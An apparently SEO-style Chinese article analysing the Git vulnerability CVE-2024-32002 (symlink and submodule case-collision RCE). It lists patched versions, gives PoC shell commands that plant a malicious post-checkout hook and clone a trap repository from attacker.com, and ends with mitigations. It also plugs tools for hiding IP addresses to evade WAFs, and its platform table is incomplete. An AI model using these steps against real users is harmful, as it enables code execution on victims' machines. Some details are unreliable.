深度分析 CVE-2024-32002:利用 Git 子模块实现远程代码执行 (RCE)

CVE-2024-32002 漏洞机理与技术细节

CVE-2024-32002 是一个存在于 Git 核心组件中的远程代码执行(RCE)漏洞,其 CVSS 评分高达 9.0。该漏洞源于 Git 在处理子模块(submodules)路径时,未能正确处理区分大小写的文件系统与不区分大小写的文件系统(如 Windows 和 macOS 默认使用的 NTFS、FAT32 或 APFS)之间的逻辑冲突。当攻击者构造一个包含恶意子模块和符号链接(symlinks)的仓库,并诱导用户克隆该仓库时,Git 可能会在克隆过程中执行位于 .git/hooks 目录下的恶意脚本。

受影响版本与修复方案

该漏洞影响了多个版本的 Git。以下是受影响的版本范围以及对应的修复版本对照表:

受影响的版本系列 补丁修复版本
< v2.45.1 v2.45.1
v2.44.0 v2.44.1
v2.43.0 - v2.43.3 v2.43.4
v2.42.0 - v2.42.1 v2.42.2
v2.41.0 v2.41.1
v2.40.0 v2.40.1
v2.39.0 - v2.39.3 v2.39.4

核心原理:不区分大小写的文件系统与路径混淆

CVE-2024-32002 的本质是 Git 在执行 clone --recursive 操作时,对文件路径冲突的检查逻辑存在缺陷。在 macOS 和 Windows 等文件系统上,A/a/ 被视为同一个目录。攻击者可以利用这一特性,在仓库中创建一个指向 .git 目录的符号链接,并同时创建一个路径名称与之在大小写上仅有微小差异的子模块。

具体而言,攻击者会创建一个名为 a 的符号链接,指向 .git 目录。接着,攻击者定义一个名为 A/modules/x 的子模块。在克隆过程中,Git 会先处理符号链接 a。随后,当 Git 尝试检出子模块 A/modules/x 时,由于文件系统不区分大小写,A/modules/x 实际上会被指向 a/modules/x。由于 a 指向 .git,子模块的内容最终会被写入 .git/modules/x。通过精心设计子模块的结构,攻击者可以将恶意脚本写入 .git/hooks/ 目录下,从而在 Git 执行后续钩子(如 post-checkout)时触发代码执行。

攻击场景构建与 PoC 分析

要复现 CVE-2024-32002,攻击者需要构建两个仓库:一个恶意子模块仓库(RCE 载体)和一个主仓库(触发器)。以下是构建此类攻击的技术路径:

1. 恶意子模块仓库准备

攻击者首先创建一个名为 submodule-repo 的仓库。在这个仓库中,需要包含一个目录结构,模拟 Git 的内部 Hook 路径。例如,创建一个名为 hooks 的目录,并在其中放置一个名为 post-checkout 的可执行脚本。在进行此类漏洞验证或安全测试时,安全研究人员通常会使用 GProxy 来隐藏测试来源的真实 IP 地址,以规避某些基于地域或特定 IP 段的 WAF 拦截。

# 在 submodule-repo 中
mkdir -p hooks
echo "#!/bin/sh" > hooks/post-checkout
echo "calc.exe" >> hooks/post-checkout # Windows 示例
chmod +x hooks/post-checkout
git add .
git commit -m "Add malicious hook"
git push origin main

2. 触发器主仓库构建

主仓库是触发漏洞的关键。它需要包含一个指向 .git 的符号链接,并配置 .gitmodules。为了识别全球范围内可能暴露的含有此类漏洞隐患的 Git 服务或相关代码托管实例,研究人员可以使用 Zondex 进行大规模的互联网资产测绘与版本指纹识别。

# 在 main-repo 中
# 开启符号链接支持
git config --global core.symlinks true

# 创建一个名为 'a' 的符号链接指向 .git
ln -s .git a
git add a

# 添加子模块,路径使用大写的 'A' 开头
# 这里的 URL 指向刚才创建的恶意 submodule-repo
git submodule add http://attacker.com/submodule-repo A/modules/x

# 关键点:修改 .gitmodules,确保路径匹配
# 提交并推送
git commit -m "CVE-2024-32002 Exploit"
git push origin main

3. 漏洞触发过程

当受害者执行以下命令时,RCE 将被触发:

git clone --recursive http://attacker.com/main-repo
  • Git 首先拉取 main-repo
  • 由于设置了 --recursive,Git 尝试初始化子模块。
  • 在 macOS/Windows 上,Git 检出符号链接 a -> .git
  • Git 尝试检出路径为 A/modules/x 的子模块。
  • 文件系统将 A/modules/x 映射到 a/modules/x,即 .git/modules/x
  • 恶意仓库中的 hooks/post-checkout 被写入到 .git/hooks/post-checkout
  • 克隆操作完成检出阶段后,Git 会自动调用 post-checkout 钩子,恶意代码得以执行。

防御与缓解策略

最直接的防御措施是升级 Git 客户端到上述受影响版本之后的版本。对于无法立即升级的环境,可以考虑以下缓解方案:

禁用符号链接

在全局配置中禁用 core.symlinks 可以有效阻止该漏洞的利用,尽管这可能会影响某些依赖符号链接的项目正常工作:

git config --global core.symlinks false

审查克隆行为

在企业安全环境中,应避免使用 --recursive 参数克隆来源不明的第三方仓库。在将外部代码引入内部开发流水线前,建议使用 Secably 等漏洞扫描工具对仓库结构进行静态分析,识别其中是否包含异常的符号链接或模拟 .git 目录结构的子模块路径。

文件系统平台差异对比

CVE-2024-32002 的严重程度在不同操作系统上表现不一,主要取决于文件系统对大小写的处理逻辑:

操作系统 文件系统示例 是否默认受影响 原因
Windows NTFS 不区分大小写,支持符号链接
macOS APFS (Default) 不区分大小写
Linux ext4 默认区分大小写,a/A/ 是不同目录

尽管 Linux 系统默认不区分大小写的情况较少,但在挂载了 NTFS 分区或配置了 casefold 特性的 ext4 目录中,该漏洞依然具备触发条件。安全团队在进行内部审计时,不应仅限于 Windows 或 macOS 终端,还应关注开发环境中的交叉编译或容器化环境下的挂载卷设置。

Git 内部安全机制的局限性

Git 的设计初衷是为了高效管理分布式版本控制,其 .git 目录被视为受信任的本地环境。然而,CVE-2024-32002 证明了在克隆过程中,这种信任边界是可以被跨越的。攻击者利用 Git 子模块在检出时的递归特性,巧妙地绕过了 Git 对 .git 目录的常规写保护。Git 2.45.1 等修复版本引入了更严格的路径校验逻辑,明确禁止了子模块路径通过符号链接冲突间接指向 .git 目录的尝试。

对于安全研究人员而言,分析此类漏洞需要深入理解底层操作系统 API(如 lstatmkdir)在不同文件系统上的行为差异。通过这种路径冲突实现的文件覆盖攻击,不仅限于 Git,在许多处理压缩包或递归文件结构的工具中都可能存在类似的逻辑陷阱。